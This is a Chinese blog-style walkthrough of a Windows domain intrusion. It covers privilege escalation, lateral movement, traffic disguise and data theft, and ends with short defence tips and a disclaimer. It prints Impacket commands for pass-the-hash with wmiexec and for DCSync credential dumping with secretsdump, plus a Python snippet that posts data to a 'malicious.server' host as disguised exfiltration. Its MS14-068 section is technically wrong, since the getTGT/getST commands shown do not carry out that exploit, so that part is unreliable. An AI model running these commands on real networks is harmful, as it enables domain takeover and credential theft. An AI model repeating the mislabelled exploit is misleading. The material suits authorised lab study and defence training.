0x01 初入虎穴
2019年,一家大型企业的内网遭到攻击,入侵者通过精心设计的鱼叉式钓鱼邮件悄然渗透到其Windows域环境,短短几天内,攻击者不仅成功提升了权限,还在内部网络中横行无忌,最终窃取了大量关键数据。作为安全研究员,分析他们的攻击路径和方法,是为了更好地在未来预防这种事件的再次发生。
攻击者的路线很明确:信息收集、漏洞利用、权限提升、横向移动、数据窃取和痕迹清除。我们将分步骤剖析这个过程,并探讨使用的工具和技术。
0x02 权限提升的魔术

攻击原理:在Windows域环境中,权限提升是让攻击者从普通用户变为域管理员的关键步骤。常见的技术包括利用未打补丁的本地提权漏洞、滥用组策略偏好设置(GPP)、以及通过哈希传递(Pass-the-Hash)等。
在我们的案例中,攻击者利用了MS14-068漏洞,这是一个知名的Kerberos协议漏洞,它允许未授权用户伪造Kerberos票据以提升权限。下面,我们将展示如何在实验环境中重现这一攻击。
实验环境搭建
- 虚拟机准备:准备一台Windows Server 2012 R2作为域控制器,确保其未打MS14-068补丁。
- 域环境配置:配置基本的Active Directory服务,并创建常规用户和管理员账户。
- 攻击机器准备:一台Kali Linux作为攻击机,预装Impacket工具包。
利用过程
Impacket工具包中的getTGT.py和getST.py是进行Kerberos票据伪造的利器。我们可以通过以下步骤使用它们:
<pre><code class="language-bash"># 首先使用getTGT来获取恶意TGT票据 python getTGT.py -hashes <LM_HASH>:<NTLM_HASH> domain.local/username
接着使用getST来获取服务票据
python getST.py -spn cifs/domaincontroller.domain.local -domain-sid S-1-5-21-XXX -tgt <TGT_FILE> -impersonate administrator</code></pre>
注意:在真实的攻击中,获取哈希值可能通过其他方式,如LSASS提取或Dump。
0x03 横行无忌的艺术

横向移动技术:在Windows域中,攻击者可以利用多种技术进行横向移动,如RDP、WMI、PsExec等。我们的案例中,攻击者使用了Pass-the-Hash攻击来横向传播。
Pass-the-Hash攻击
这种攻击允许攻击者使用捕获的NTLM哈希而非明文密码来进行身份验证。以下是利用工具wmiexec.py实现横向移动的步骤:
<pre><code class="language-bash"># 使用wmiexec进行横向移动 python wmiexec.py domain.local/administrator@victim_machine -hashes <LM_HASH>:<NTLM_HASH></code></pre>
这段代码展示了在没有明文密码的情况下,如何结合NTLM哈希在目标机器上执行命令。
0x04 流量捕获实战
免杀与流量伪装:攻击者在网络中移动时,需要注意流量伪装以避免被检测。常用工具如Cobalt Strike支持DNS隧道、HTTP伪装等技术。
实战中的伪装技术
为了绕过网络流量监控,攻击者通常会使用HTTP隧道。以下是一个简单的Python脚本示例来演示如何使用HTTP请求传输数据:
<pre><code class="language-python">import requests
url = "http://malicious.server/endpoint" data = {"key": "value"}
response = requests.post(url, data=data)
print(response.text)</code></pre>
这段代码通过HTTP POST请求将数据发送到一个服务器,伪装成普通的网络流量。
0x05 数据窃取与痕迹消除
数据窃取:攻击者在实现对目标网络的完全控制后,会尝试窃取敏感数据。常用方法包括DCSync攻击、Kerberoasting等。
DCSync攻击
这种攻击允许攻击者在拥有域管理员权限后,同步域控制器的密码数据。我们可以利用secretsdump.py工具来实现:
<pre><code class="language-bash"># 使用secretsdump同步所有用户的Hash python secretsdump.py -just-dc domain.local/administrator:<PASSWORD>@domaincontroller.domain.local</code></pre>
这段代码可以直接将域控制器上所有用户的哈希值导出,方便后续的离线攻击分析。
0x06 经验分享与防御建议
个人经验分享:作为一名攻击者,了解各种技术细节是基础,但更重要的是思维的敏捷和策略的制定。每一个步骤都需要缜密的计划和灵活的执行。
防御建议
- 更新补丁:及时更新系统补丁,尤其是已知的高危漏洞。
- 启用MFA:为重要账户启用多因素认证,增加攻击难度。
- 监控与日志:加强对网络流量和系统日志的监控,及时发现异常。
警告:本文所述技术仅用于授权的安全研究和测试,切勿在未经许可的情况下进行攻击行为。
通过深入的分析和实战演示,我们不仅可以提高对攻击技术的理解,也能更好地保护我们的网络环境。
